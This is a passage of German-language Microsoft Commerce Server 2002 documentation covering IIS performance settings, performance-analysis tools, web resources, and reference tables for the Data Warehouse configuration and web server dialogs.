Commerce Server 2002 ermöglicht eine problemlose Profilerstellung für anonyme Benutzer. Die Erfassung aller anonymen Benutzer einer sehr großen Website kann jedoch kostspielig sein. Wägen Sie daher vor der Implementierung dieses Features sorgfältig den Nutzen, den Sie aus der Erstellung von Cookies und eindeutigen Instanzen in Ihrer Datenbank und auf den Microsoft Active Directory-Servern ziehen können, gegen die entstehenden Kosten ab. Viele der Vorteile, die dieses Feature bietet, können auch durch eine sorgfältigere Analyse der Commerce Server-Berichte erzielt werden.

Siehe auch

Commerce Server-Berichte


Ändern der Einstellungen auf der IIS-Registerkarte "Leistung"

Sie können die Leistung steigern, indem Sie die Einstellungen auf der Registerkarte Leistung von Internetinformationsdienste (IIS) 5.0 ändern.

So ändern Sie die Einstellungen auf der IIS-Registerkarte "Leistung"

  1. Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Verwaltung, und klicken Sie dann auf Internetdienste-Manager.
  2. Erweitern Sie im Fenster Internetinformationsdienste die Knoten des folgenden Pfades: Internetinformationsdienste/<Servername>/Standardwebsite.
  3. Klicken Sie mit der rechten Maustaste auf Standardwebsite, und wählen Sie Eigenschaften aus.
  4. Klicken Sie auf die Registerkarte Leistung.
  5. Verschieben Sie den Schieberegler für Leistungsoptimierung nach rechts auf Mehr als 100.000, und klicken Sie dann auf OK.


Weitere Informationen zur Optimierung

Es stehen Ihnen noch weitere Ressourcen zur Verfügung, die Unterstützung bei der Optimierung der Leistung und Kapazität Ihrer Commerce Server 2002-Site bieten.

Dieser Abschnitt beinhaltet folgende Themen:

  • Tools zur Leistungsoptimierung
  • Webbasierte Informationen


Tools zur Leistungsoptimierung

Microsoft bietet eine Reihe von Tools zum Optimieren und Testen der Leistung an. Diese Tools sind teilweise in Microsoft Windows 2000 und Internetinformationsdienste (IIS) 5.0 integriert oder befinden sich auf der Begleit-CD des Windows 2000 Server Resource Kits sowie in der Website von Microsoft (www.microsoft.com). So ist der Systemmonitor beispielsweise in Windows 2000 integriert und von wesentlicher Bedeutung für die Überwachung nahezu sämtlicher Aspekte der Serverleistung.

Im folgenden Abschnitt werden die Tools zur Leistungsoptimierung und der Zugriff auf diese kurz beschrieben.

  • Microsoft Web Application Stress. Hierbei handelt es sich um ein von Webtestern entwickeltes Simulationstool, das Situationen, in denen mehrere Browser Seiten von einer Webanwendung anfordern, realistisch simuliert. Microsoft hat das Tool benutzerfreundlich gestaltet und einige der komplizierten Schritte beim Testen von Webservern vereinfacht. Dies macht das Tool für diejenigen interessant, die Leistungsdaten über eine Website sammeln möchten. Das Tool vereinigt in sich zahlreiche der besten Funktionen, die im Laufe der Jahre entwickelt wurden, ebenso wie einige neue Funktionen. Die aktuelle Version deckt die am meisten benötigten Funktionen für Belastungstests von mehrstufigen, personalisierten ASP-Websites ab, die unter Microsoft Windows 2000 ausgeführt werden.

    Zum Downloaden von WAS besuchen Sie http://go.microsoft.com/fwlink/?LinkId=6731.

  • Netzwerkmonitor. Hierbei handelt es sich um ein Tool, das den Netzwerkverkehr zur Anzeige und Analyse erfasst. Sie können den Netzwerkmonitor beispielsweise für die Analyse von Daten einsetzen, die zuvor mithilfe von benutzerdefinierten Methoden erfasst wurden. Des Weiteren dient das Tool zur Extraktion von Daten aus festgelegten Protokollparsern und zur Analyse des Echtzeit-Datenverkehrs im Netzwerk. Netzwerkmonitor ist ein praktisches Tool für die Erfassung von Paketen zwischen Browsern, Webservern und SQL Server. Das Tool stellt wertvolle Zeitinformationen ebenso wie Informationen zur Paketgröße und Netzwerklast sowie viele andere statistische Daten zur Verfügung, die für die Verwaltung der Systemleistung von Bedeutung sein können.
  • SQL Server Profiler. Hierbei handelt es sich um ein Tool, das SQL Server-Ereignisse auf einem Server erfasst. Die Ereignisse werden in einer Ablaufverfolgungsdatei gespeichert, die Sie zu einem späteren Zeitpunkt analysieren oder zur Wiederholung einer bestimmten Reihe von Schritten bei der Problemdiagnose verwenden können. SQL Server Profiler kann für die folgenden Aufgaben eingesetzt werden:
    • Schrittweises Bearbeiten von problematischen Abfragen, um die Ursache des Problems zu finden.
    • Suchen und Diagnostizieren von langsam ausgeführten Abfragen.
    • Erfassen der Reihe von SQL-Anweisungen, die zu einem Problem führen. Mithilfe der gespeicherten Ablaufverfolgung kann das Problem auf einem Testserver repliziert und diagnostiziert werden.
    • Überwachen der Leistung von SQL Server zur Optimierung der Arbeitsauslastung.
  • Systemmonitor. Hierbei handelt es sich um ein Tool, das Sie zum Erfassen und Anzeigen umfangreicher Daten verwenden können, die Aufschluss über die Verwendung von Hardwareressourcen und die Aktivität der Systemdienste geben. Der Systemmonitor kann für die folgenden Aufgaben eingesetzt werden:
    • Erfassen und Anzeigen von Echtzeit-Leistungsdaten auf einem lokalen Computer oder von mehreren Remotecomputern.
    • Anzeigen von Daten, die entweder aktuell gesammelt werden oder zu einem früheren Zeitpunkt erfasst wurden, in einem Leistungsindikatorenprotokoll.
    • Darstellen von Daten in Form einer druckfähigen Diagramm-, Histogramm- oder Berichtsansicht.
    • Integrieren von Funktionen des Systemmonitors in Microsoft Word oder andere Anwendungen der Microsoft Office-Produktfamilie mithilfe der Automatisierung.
    • Erstellen von HTML-Seiten aus Leistungsansichten.
    • Erstellen wiederverwendbarer Überwachungskonfigurationen, die mithilfe der Microsoft Management Console (MMC) auf anderen Computern installiert werden können.
  • Visual Studio Analyzer. Hierbei handelt es sich um ein Tool, das Sie zur Leistungsanalyse, zur Lokalisierung von Fehlern und zum Visualisieren der Struktur verteilter Anwendungen verwenden können. Visual Studio Analyzer können Sie für Anwendungen und Systeme verwenden, die mit beliebigen Visual Studio-Tools erstellt wurden. Einige Microsoft-Technologien, beispielsweise Component Object Model (COM), Microsoft ActiveX Data Objects (ADO) und COM+ bieten die Möglichkeit, Informationen für Visual Studio Analyzer bereitzustellen. Wenn in den von Ihnen verwendeten Anwendungen eine beliebige der genannten Technologien zum Einsatz kommt, können Sie über diese Anwendung detaillierte Informationen von Visual Studio Analyzer erhalten. Darüber hinaus können Sie eigene Anwendungen so anpassen, dass sie Informationen für Visual Studio Analyzer bereitstellen.
  • Prozess- und Threadstatus ("Pstat.exe"). Hierbei handelt es sich um ein Tool, das den Status sämtlicher Prozesse und Threads anzeigt, die gerade ausgeführt werden. Sie finden dieses Tool auf der Begleit-CD des Windows 2000 Server Resource Kits.
  • Process Tree ("Ptree.exe"). Hierbei handelt es sich um ein Tool, mit dem Sie den Prozessvererbungsbaum abfragen und Prozesse auf lokalen oder Remotecomputern löschen können. Sie finden dieses Tool auf der Begleit-CD des Windows 2000 Server Resource Kits.
  • HTTP-Überwachung. Hierbei handelt es sich um ein Tool, mit dem Sie die HTTP-Aktivität auf Ihren Servern überwachen können. Des Weiteren weist das Tool Sie auf quantitative Veränderungen der Aktivität hin. Sie finden dieses Tool auf der Begleit-CD des Windows 2000 Server Resource Kits.
  • NetStat. Hierbei handelt es sich um ein Befehlszeilentool, das Informationen zu den aktuellen Netzwerkverbindungen auf dem Server erfasst. Sie finden NetStat auf der Begleit-CD des Windows 2000 Server Resource Kits.

Siehe auch

Commerce Server-Leistungsindikatoren


Webbasierte Informationen

Die folgende Tabelle enthält Beschreibungen zu Dokumentationen im Web, die Ihnen bei der Optimierung der Leistung und Kapazität Ihrer Commerce Server 2002-Site nützliche Hilfestellung geben.

Titel | Beschreibung
Commerce Server Performance Tools | Eine Reihe von Whitepapers in englischer Sprache, in denen Begriffe und Methoden der Leistungsanalyse erläutert werden sowie die Ausführung der Leistungsanalyse auf Beispielsites dargestellt wird. Außerdem finden Sie dort Verknüpfungen zum Downloaden von Tools und Beispielskripts, mit denen Sie die Leistung Ihrer Site überprüfen können.
Microsoft Developer Network (MSDN) | Enthält in englischer Sprache Informationen zu Commerce Server und anderen Microsoft .NET Enterprise Servern. Die Informationen in dieser Site werden regelmäßig aktualisiert. Klicken Sie auf Search MSDN, und geben Sie Commerce Server 2000 ein, um verwandte Dokumente und Whitepapers aufzurufen. http://go.microsoft.com/fwlink/?LinkId=5595
The Art and Science of Web Server Tuning with Internet Information Services 5.0 | Hierbei handelt es sich um ein Whitepaper in englischer Sprache, das sich mit Problemen und Lösungsansätzen im Hinblick auf die Optimierung von Webservern bei Ausführung von Internetinformationsdienste (IIS) 5.0 unter Windows 2000 Server befasst. Erläutert werden die Bedeutung des Überwachens und Testens sowie potenzielle Probleme, die bei Hardware, Software oder Tools auftreten können. Ein Abschnitt beschäftigt sich mit neuen bzw. geänderten Einstellungen und Features in IIS und Windows 2000. Des Weiteren enthält das Whitepaper eine Reihe von Anhängen mit nützlichen Tipps, Registrierungs- und Metabasiseinstellungen sowie eine Liste weiterer Ressourcen zur Referenz. Das Dokument wurde zwar speziell für IIS 5.0 verfasst, jedoch sind zahlreiche Hinweise ebenso hilfreich für Administratoren von IIS 4.0. http://go.microsoft.com/fwlink/?LinkId=954
Commerce Server Software Development Kit (SDK) | Enthält in englischer Sprache technische Informationen für Entwickler, die Programme bzw. intelligente Webseiten erstellen, die mit der Schnittstelle für Anwendungsprogrammierung (API) von Commerce Server integriert werden müssen. Das SDK enthält Richtlinien für Programmierer und Verweise auf verschiedene Commerce Server- und Commerce-Technologien. Des Weiteren umfasst es Beispiele und Headerdateien zur Erstellung eigener Programme.
TechNet | Enthält in englischer Sprache technische Informationen und Tools zum Planen, Entwickeln, Bereitstellen und Verwalten von E-Commerce-Websites. Informationen zu Commerce Server erhalten Sie, wenn Sie auf der linken Bildschirmseite im Menü Navigate by Product den Eintrag Commerce Server auswählen. http://go.microsoft.com/fwlink/?LinkId=5160
Newsgroups | In den englischen Peer-to-Peer-Newsgroups können Sie sich mit anderen Administratoren, Entwicklern und Microsoft Most Valuable Professionals (MVPs) über Commerce Server austauschen. Der Inhalt dieser Newsgroups bzw. Sites wird von Microsoft weder überwacht noch unterstützt. http://go.microsoft.com/fwlink/?LinkId=5595
Microsoft Support | Enthält eine Liste mit Supportoptionen, die für Commerce Server erhältlich sind. http://go.microsoft.com/fwlink/?LinkId=954
Microsoft-Serversite | Hier finden IT-Fachleute, Entwickler und Internetspezialisten umfangreiche Angaben zu sämtlichen Serverprodukten von Microsoft (in englischer Sprache). http://go.microsoft.com/fwlink/?LinkId=6732


Referenz zur Benutzeroberfläche

Dieser Abschnitt enthält die kontextbezogenen Hilfethemen für die Ressourcen von Commerce Server Manager. Sie können diese Themen aufrufen, indem Sie in den Dialogfeldern des Commerce Server-Managers die Taste F1 drücken oder auf Hilfe klicken.

Weitere Informationen über die Dialogfelder von Site Packager finden Sie unter Dialogfelder von Site Packager.

Dieser Abschnitt beinhaltet folgende Themen:

  • Ressourceneigenschaften, Registerkarte "Eigenschaften". Enthält Links zu den entsprechenden Hilfethemen für die Dialogfelder der verschiedenen Ressourceneigenschaften.
  • Ressourceneigenschaften, Registerkarte "Verbindungszeichenfolgen". Enthält Links zu den entsprechenden Hilfethemen für die Dialogfelder Verbindungszeichenfolgen der verschiedenen Ressourcen.
  • Data Warehouse-Konfiguration. Enthält die Hilfe zu Dialogfeldelementen für die Konfiguration des Data Warehouse.
  • Hilfe zur Benutzeroberfläche des Data Warehouse. Enthält die Hilfe zu Dialogfeldelementen des Data Warehouse.
  • Data Warehouse-Import-Assistent. Enthält die Hilfe zu Dialogfeldelementen des Data Warehouse-Import-Assistenten.
  • Hilfe zur Benutzeroberfläche von DTS-Tasks. Enthält die Hilfe zu Dialogfeldelementen für die DTS-Tasks von Commerce Server 2002.
  • Hilfe zur Benutzeroberfläche der Profilressource. Enthält die Hilfe zu Dialogfeldelementen der Profilressource.


Ressourceneigenschaften, Registerkarte "Eigenschaften"

Mit den im Dialogfeld Ressourceneigenschaften aufgelisteten Eigenschaften können Sie Ressourcen wahlweise global oder auf Siteebene konfigurieren.

Detaillierte Informationen zur globalen Konfiguration von Ressourcen finden Sie unter folgenden Themen:

  • Konfigurieren der CS-Authentifizierungsressource
  • Ändern der Zeitzone und des Wochenbeginns für die importierten Daten
  • Konfigurieren von Direct Mailer
  • Konfigurieren der Verbindungszeichenfolge für die Profilressource

Detaillierte Informationen zur Konfiguration von Siteressourcen finden Sie unter folgenden Themen:

  • Konfigurieren einer Siteressource
  • Hinzufügen eines globalen Ressourcenzeigers zu einer Site


Ressourceneigenschaften, Registerkarte "Verbindungszeichenfolgen"

Mit diesem Dialogfeld können Sie die Verbindungszeichenfolge für eine Commerce Server-Ressource ändern.

Detaillierte Informationen zu Verbindungszeichenfolgen in Commerce Server finden Sie unter folgenden Themen:

Ändern der Datenbank-Verbindungszeichenfolgen

Ändern der Verwaltungsdatenbank-Verbindungszeichenfolgen

Data Warehouse-Verbindungszeichenfolgen

Konfigurieren der Data Warehouse-Verbindungszeichenfolgen

Zugriff auf den Analysis-Server über HTTP(S)

OLE DB Connection Strings for the Data Warehouse (englisches Thema)

OLE DB Connection Strings for the Profiling System (englisches Thema)

Code to Connect to the Expression Store (englisches Thema)

Code to Connect to the Profile Store (englisches Thema)

Sichern der Site


Commerce-Webserver, Registerkarte "Identitäten"

Die folgende Tabelle enthält die im Dialogfeld Commerce-Webserver auf der Registerkarte Identitäten verfügbaren Optionen und Funktionen.

Funktion | Aktion
Servername | Eingeben des Computernamens, auf welchem der Webserver installiert ist. Ändern Sie den Namen nur dann, wenn Sie den Server umbenannt haben.
Identitäten | Dieses Feld zeigt die IP-Adresse (Internet Protocol) für den Webserver, den TCP-Anschluss und den Hostheadernamen an. Die Werte werden anfangs aus IIS gelesen. Klicken Sie auf Hinzufügen, um Identitäten hinzuzufügen.
SSL-Identitäten | Dieses Feld zeigt die IP-Adresse (Internet Protocol) und den SSL-Anschluss (Secure Sockets Layer) für den Webserver an. Die Werte werden anfangs aus IIS gelesen. Klicken Sie auf Hinzufügen, um SSL-Identitäten hinzuzufügen.

Siehe auch

Konfigurieren eines Webservers

Hinzufügen eines Nicht-Commerce-Webservers zu einer Anwendung

Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site


Commerce-Webserver, Registerkarte "Protokolldat."

Mit diesem Dialogfeld können Sie die Webserver-Protokolldateien für den Import durch das Data Warehouse konfigurieren.

Hinweis

  • Wenn die Option Webserver in dieser Anwendung führen IIS aus im Dialogfeld Eigenschaften von Anwendung aktiviert ist, können Sie entweder eine neue Protokolldateiperiode oder die Option Protokolldateimaske, aber nicht beide Eigenschaften verwenden.
  • Wenn die Option Namen und Speicherort der Protokolldatei synchronisieren im Dialogfeld Eigenschaften von Anwendung aktiviert ist, wird im Dialogfeld Eigenschaften von Webserver der Wert im Feld Protokolldateiverzeichnis mit dem Wert aus IIS überschrieben.

Die folgende Tabelle enthält die im Dialogfeld Commerce-Webserver auf der Registerkarte Protokolldat. verfügbaren Optionen und Funktionen.

Funktion | Aktion
Zeitraum für die Protokolldateiaktualisierung | Gibt an, wie lange die IIS-Website in eine Protokolldatei schreibt, bevor sie eine neue Datei erstellt. Dieser Wert wird anfangs aus IIS gelesen.
Protokolldateimaske | Gibt eine benutzerdefinierte Protokolldateirotation an, die bestimmt, wie lange die IIS-Website in eine Protokolldatei schreibt, bevor sie eine neue Datei erstellt. Dieses Feld ist optional. Weitere Informationen, einschließlich von Beispielen für Einträge in dieses Feld, finden Sie unter Festlegen einer Webserver-Protokolldateimaske.
Protokolldateiverzeichnis | Geben Sie den Protokolldateipfad ein, in den die IIS-Website Ereignisse schreibt, z. B. C:\Winnt\System32\LogFiles\Log1. Dieser Wert wird anfangs aus IIS gelesen. Sie können aber auch ein anderes Verzeichnis festlegen, wenn Sie vor der Ausführung des DTS-Webserverprotokollimport-Tasks die Webprotokolldateien vom Webserver an einen zentralen Speicherort kopieren.
Codepage der Protokolldatei | In diesem Feld wird die von der gesamten Datei verwendete Codepage angezeigt. Wählen Sie bei Bedarf in der Dropdownliste eine neue Codepage aus. IIS 5.0 unterstützt die Systemcodepage. Von künftigen IIS-Versionen wird UTF-8 unterstützt.
Codepage der URL-Codierung | In diesem Feld wird die von allen URLs verwendete Codepage angezeigt. Wählen Sie bei Bedarf in der Dropdownliste eine neue Codepage aus. IIS 5.0 unterstützt die Systemcodepage. Von künftigen IIS-Versionen wird UTF-8 unterstützt.

Siehe auch

Festlegen einer Webserver-Protokolldateimaske


Dialogfeld "Websitekonfiguration"

Mit diesem Dialogfeld können Sie eine IP-Adresse, einen TCP-Anschluss und einen Hostheadernamen für den Webserver hinzufügen oder bearbeiten.

Hinweis

  • In Bereitstellungen mit mehreren Sites, die mit AuthFilter arbeiten, können keine Hostheader verwendet werden. Die Verwendung von Hostheadern mit SSL (Secure Sockets Layer) wird von Microsoft Internetinformationsdienste (IIS) nicht unterstützt. Aus Gründen der Sicherheit erfordert AuthFilter bei der Übertragung der Anmeldeinformationen an den Server SSL.

Die folgende Tabelle enthält die im Dialogfeld Websitekonfiguration verfügbaren Optionen und Funktionen.

Funktion | Aktion
IP-Adresse | Geben Sie eine IP-Adresse für den Webserver ein. Der Wert Alle nicht zugeordnet bezieht sich auf die IP-Adressen, die einem Computer, nicht aber einer bestimmten Site zugeordnet sind. Die Standardwebsite verwendet alle IP-Adressen, die keinen anderen Sites zugeordnet sind. Nur eine Site kann so eingestellt werden, dass sie nicht zugeordnete IP-Adressen verwendet.
TCP-Anschluss | Geben Sie die Anschlussadresse für diese Website ein. Die Standardanschlussnummer ist 80.
Hostheadername | Geben Sie den Hostheadernamen dieser Website ein. Wenn Sie einer IP-Adresse mithilfe von Hostheadern zusätzliche Sites hinzufügen, müssen Sie einen Hostheadernamen zuordnen.

Siehe auch

Konfigurieren eines Webservers

Hinzufügen eines Nicht-Commerce-Webservers zu einer Anwendung

Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site


Data Warehouse-Konfiguration

Mit der Data Warehouse-Konfiguration können Sie ein neues Data Warehouse erstellen. Bereits vorhandene Data Warehouses können mit dieser Option allerdings nicht konfiguriert werden.

So starten Sie die Data Warehouse-Konfiguration

  • Klicken Sie auf Start, zeigen Sie auf Programme, zeigen Sie auf Microsoft Commerce Server 2002. Klicken Sie anschließend auf Data Warehouse-Konfiguration.

Wenn Sie im Dialogfeld Commerce Server Data Warehouse-Konfiguration die erforderlichen Eingaben vorgenommen haben, führt die Data Warehouse-Konfiguration die folgenden Schritte aus:

  1. Installieren der globalen Ressourcen für das Data Warehouse.
  2. Erstellen einer SQL Server-Datenbank. Standardmäßig wird der Datenbank die Bezeichnung Commerce Server-Sitename_dw zugewiesen.
  3. Erstellen einer OLAP-Datenbank. Standardmäßig wird der Datenbank die Bezeichnung Commerce Server-Sitename_dw zugewiesen.
  4. Entpacken des dw.pup-Pakets, das eine Version der Commerce Server Business Desk-Anwendung enthält, die lediglich die Analysemodule umfasst. Der Standardname der Business Desk-Anwendung lautet Commerce Server-Sitename bizdesk.

Die folgende Tabelle enthält die im Dialogfeld Data Warehouse-Konfiguration verfügbaren Optionen.

Funktion | Aktion
Commerce Server-Site | Geben Sie wahlweise den Namen der zu erstellenden Site ein, oder wählen Sie in der Dropdownliste den Namen einer bereits vorhandenen Site aus. Dabei handelt es sich um die Site, die von dem neuen Data Warehouse unterstützt werden soll.
Data Warehouse Geben Sie den Namen der zu erstellenden globalen Data Warehouse-Ressource ein. Diese Ressource verweist auf die Data Warehouse-Datenbank Commerce Server-Sitename_dw oder auf den Namen der von Ihnen im Feld Datenbankserver angegebenen Datenbank.

Vermeiden Sie es, den Namen einer bereits vorhandenen globalen Data Warehouse-Ressource zu verwenden.

Hinweis

  • Wenn Sie im Feld Commerce Server-Site eine vorhandene Site ausgewählt haben und in dieses Feld den Namen einer neuen globalen Data Warehouse-Ressource eingeben, weist die Data Warehouse-Konfiguration der Site die neue Data Warehouse-Ressource zu, wobei ggf. vorhandene globale Data Warehouse-Ressourcen ersetzt werden.
Nicht-Commerce-Anwendungen | Klicken Sie auf Konfigurieren, um Nicht-Commerce-Anwendungen und -Webserver für die Verarbeitung durch das neue Data Warehouse hinzuzufügen.
Berichtsserver | Klicken Sie zur Auswahl des Webservers mit der Business Desk-Anwendung auf Konfigurieren. Hierbei handelt es sich um den Computer, auf dem Berichte für Business Desk-Benutzer ausgeführt werden.
Datenbankserver Klicken Sie auf Konfigurieren, um den SQL Server mit der Data Warehouse-Datenbank auszuwählen, und geben Sie (optional) den Namen der Datenbank an. Wenn Sie keinen Namen für die Datenbank angeben, wird standardmäßig die Bezeichnung Commerce Server-Sitename_dw verwendet.

Legen Sie im Dialogfeld Datenverknüpfungseigenschaften die Anmeldeinformationen für die Konfiguration von zwei Verbindungszeichenfolgen fest: ConnStr_db_analysis und ConnStr_db_dw.

Informationen zu diesen Verbindungszeichenfolgen finden Sie unter Data Warehouse-Verbindungszeichenfolgen.
Analysis-Server Klicken Sie auf Konfigurieren, um den SQL Server auszuwählen, auf dem Analysis Services installiert ist, und geben Sie (optional) den Namen der OLAP-Datenbank an. Wenn Sie keinen Namen für die Datenbank angeben, wird standardmäßig die Bezeichnung Commerce Server-Sitename_dw verwendet.

Legen Sie im Dialogfeld Datenverknüpfungseigenschaften die Anmeldeinformationen für die Konfiguration von zwei Verbindungszeichenfolgen fest: ConnStr_OLAP und ConnStr_OLAP_Client.

Informationen zu diesen Verbindungszeichenfolgen finden Sie unter Data Warehouse-Verbindungszeichenfolgen.
Import-Assistent starten Aktivieren Sie dieses Kontrollkästchen, um nach Abschluss der Data Warehouse-Konfiguration den Data Warehouse-Import-Assistenten zu starten.

Wenn Sie die Data Warehouse-Konfiguration während des Commerce Server-Setups ausführen, wird der Data Warehouse-Import-Assistent nach dem Neustart des Computers gestartet.

Siehe auch

Data Warehouse-Verbindungszeichenfolgen

Data Warehouse-Import-Assistent


Dialogfeld "Nicht-Commerce-Anwendungen und -Webserver"

Mit diesem Dialogfeld können Sie mehrere Nicht-Commerce-Anwendungen hinzufügen und diesen anschließend mehrere Nicht-Commerce-Webserver zuweisen.

Commerce Server unterstützt auch Webserver, auf denen Microsoft Internetinformationsdienste (IIS) nicht ausgeführt werden und die keine Commerce Server-Komponenten enthalten. Dies ermöglicht Ihnen, dem Data Warehouse die Webserver-Protokolldateien zum Import zur Verfügung zu stellen.

  1. Klicken Sie im Feld Nicht-Commerce-Anwendungen auf Neu, um die Nicht-Commerce-Anwendung hinzuzufügen.
  2. Nachdem Sie die Anwendung erstellt haben, wählen Sie sie im oberen Feld aus, und klicken Sie anschließend im Feld Nicht-Commerce-Webserver für die ausgewählte Anwendung auf Neu, um die Webserver für die Anwendung anzugeben.

Siehe auch

Konfigurieren eines Webservers

Hinzufügen eines Nicht-Commerce-Webservers zu einer Anwendung

Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site


Nicht-Commerce-Anwendungen, Registerkarte "Allgemein"

Mit diesem Dialogfeld können Sie eine Nicht-Commerce-Anwendung konfigurieren. Beim Konfigurieren einer Anwendung werden Eigenschaften bestimmt, die für alle von der Anwendung verwendeten Webserver gelten.

Die folgende Tabelle enthält die im Dialogfeld Nicht-Commerce-Anwendungen auf der Registerkarte Allgemein verfügbaren Optionen und Funktionen.

Funktion | Aktion
Webserver in dieser Anwendung führen IIS aus Aktivieren dieses Kontrollkästchens, wenn die Server in der Nicht-Commerce-Anwendung Internetinformationsdienste (IIS) 5.0 ausführen.

In einer Nicht-Commerce-Anwendung können nicht gleichzeitig IIS-Server und Nicht-IIS-Server vorhanden sein.
Nicht sicherer Hostname Eingeben des DNS-Domänennamens (Domain Name Server) zur Verwendung mit nichtgesicherten Links in Ihren Anwendungen.

Vorsicht

  • Wenn Sie als Anschlussnummer nicht 80 verwenden, müssen Sie die von Ihnen verwendete Nummer an das Ende des nicht sicheren Hostnamens hängen (z. B. www.microsoft.com:81). Die Anschlussnummer können Sie auf der Registerkarte Identitäten des Dialogfelds Eigenschaften von Webserver im Feld TCP-Anschluss anzeigen oder bearbeiten. Weitere Informationen finden Sie unter Konfigurieren eines Webservers.
IIS-Anwendungspfad | Eingeben des Pfades zur IIS-Anwendung.
Anwendungspfad | Wenn keiner der Webserver in dieser Anwendung IIS verwendet, müssen Sie den Pfad der Anwendung angeben.
HTTPS aktivieren | Auswählen dieser Option, um Verknüpfungen zu einem sicheren HTTP-Host (SSL; Secure Sockets Layer) in Ihren Anwendungen zu aktivieren.
Sicherer Hostname Eingeben des DNS-Domänennamens zur Verwendung mit gesicherten Links in Ihren Anwendungen.

Vorsicht

  • Wenn Sie als Anschlussnummer nicht 443 verwenden, müssen Sie die von Ihnen verwendete Nummer an das Ende des sicheren Hostnamens hängen (z. B. www.microsoft.com:441). Die SSL-Anschlussnummer können Sie auf der Registerkarte Identitäten des Dialogfelds Eigenschaften von Webserver im Feld SSL-Anschluss anzeigen oder bearbeiten. Weitere Informationen finden Sie unter Konfigurieren eines Webservers.

Hinweis

  • Die Optionen HTTPS aktivieren und Sicherer Hostname werden vom AuthManager-Objekt, nicht von AuthFilter verwendet. Verwenden Sie in Verbindung mit AuthFilter die Anmeldeformulareigenschaft CS-Authentifizierung, um für Anmeldeseiten SSL festzulegen. Weitere Informationen finden Sie unter Konfigurieren der CS-Authentifizierungsressource.

Siehe auch

Konfigurieren eines Webservers

Hinzufügen eines Nicht-Commerce-Webservers zu einer Anwendung

Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site


Nicht-Commerce-Anwendungen, Registerkarte "Webserver"

Mit diesem Dialogfeld können Sie einen Webserver zu einer Anwendung hinzufügen. Sie können einen Nicht-Commerce-Webserver hinzufügen, d. h. einen Server, der keinerlei Komponenten von Commerce Server verwendet. Das Hinzufügen anderer Anwendungen und Webserver hat den Zweck, dass Sie die Webserver-Protokolldateien dem Data Warehouse zum Import zur Verfügung stellen können.

Hinweis

  • Die Schaltfläche Werte synchronisieren ist nur aktiviert, wenn auf der Registerkarte Allgemein die Option Webserver in dieser Anwendung führen IIS aus aktiviert wurde und Änderungen über die IIS-Benutzeroberfläche vorgenommen haben. Sie können dann mit der Schaltfläche Werte synchronisieren den Commerce Server-Manager mit IIS synchronisieren.

Die folgende Tabelle enthält die im Dialogfeld Nicht-Commerce-Anwendungen auf der Registerkarte Webserver verfügbaren Optionen und Funktionen.

Funktion | Aktion
IIS-Website | Eingeben des Namens der IIS-Website (z. B. Standardwebsite).
Lokale Domäne | Eingeben des Namens der lokalen Domäne (z. B. microsoft.com).

Siehe auch

Konfigurieren eines Webservers

Hinzufügen eines Nicht-Commerce-Webservers zu einer Anwendung

Hinzufügen einer Nicht-Commerce-Anwendung zu einer Site


Neuer Nicht-Commerce-Webserver, Registerkarte "Identitäten"

Die folgende Tabelle enthält die im Dialogfeld Neuer Nicht-Commerce-Webserver auf der Registerkarte Identitäten verfügbaren Optionen und Funktionen.

Funktion | Aktion
Servername | Eingeben des Computernamens, auf welchem der Webserver installiert ist. Ändern Sie den Namen nur dann, wenn Sie den Server umbenannt haben.
Identitäten | Dieses Feld zeigt die IP-Adresse (Internet Protocol) für den Webserver, den TCP-Anschluss und den Hostheadernamen an. Die Werte werden anfangs aus IIS gelesen. Klicken Sie auf Bearbeiten, wenn Sie die Werte ändern möchten.
SSL-Identitäten | Dieses Feld zeigt die IP-Adresse und den SSL-Anschluss des Webservers an. Die Werte werden anfangs aus IIS gelesen. Klicken Sie auf Bearbeiten, wenn Sie die Werte ändern möchten.


Neuer Nicht-Commerce-Webserver, Registerkarte "Protokolldat."

Die folgende Tabelle enthält die im Dialogfeld Neuer Nicht-Commerce-Webserver auf der Registerkarte Protokolldat. verfügbaren Optionen und Funktionen.

Funktion | Aktion
Zeitraum für die Protokolldateiaktualisierung | Gibt an, wie lange die IIS-Website in eine Protokolldatei schreibt, bevor sie eine neue Datei erstellt. Dieser Wert wird anfangs aus IIS gelesen.
Protokolldateimaske | Gibt eine benutzerdefinierte Protokolldateirotation an, die bestimmt, wie lange die IIS-Website in eine Protokolldatei schreibt, bevor sie eine neue Datei erstellt. Dieses Feld ist optional. Weitere Informationen, einschließlich von Beispielen für Einträge in dieses Feld, finden Sie unter Festlegen einer Webserver-Protokolldateimaske.
Protokolldateiverzeichnis | Geben Sie den Protokolldateipfad ein, in den die IIS-Website Ereignisse schreibt, z. B. C:\Winnt\System32\LogFiles\Log1. Dieser Wert wird anfangs aus IIS gelesen. Sie können aber auch ein anderes Verzeichnis festlegen, wenn Sie vor der Ausführung des DTS-Webserverprotokollimport-Tasks die Webprotokolldateien vom Webserver an einen zentralen Speicherort kopieren.
Codepage der Protokolldatei | Hier wird die von der gesamten Datei verwendete Codepage angezeigt. Wählen Sie bei Bedarf in der Dropdownliste eine neue Codepage aus. IIS 5.0 unterstützt die Systemcodepage. Von künftigen IIS-Versionen wird UTF-8 unterstützt.
Codepage der URL-Codierung | Zeigt die für alle URLs verwendete Codepage an. Wählen Sie bei Bedarf in der Dropdownliste eine neue Codepage aus. IIS 5.0 unterstützt die Systemcodepage. Von künftigen IIS-Versionen wird UTF-8 unterstützt.

Siehe auch

Festlegen einer Webserver-Protokolldateimaske


Dialogfeld "Identität"

Mit diesem Dialogfeld können Sie eine IP-Adresse, einen TCP-Anschluss und einen Hostheadernamen für den Webserver hinzufügen oder bearbeiten.

Hinweis

  • In Bereitstellungen mit mehreren Sites, die mit AuthFilter arbeiten, können keine Hostheader verwendet werden. Die Verwendung von Hostheadern mit SSL (Secure Sockets Layer) wird von Microsoft Internetinformationsdienste (IIS) nicht unterstützt. Aus Gründen der Sicherheit erfordert AuthFilter bei der Übertragung der Anmeldeinformationen an den Server SSL.

Die folgende Tabelle enthält die im Dialogfeld Identität verfügbaren Optionen und Funktionen.

Funktion | Aktion
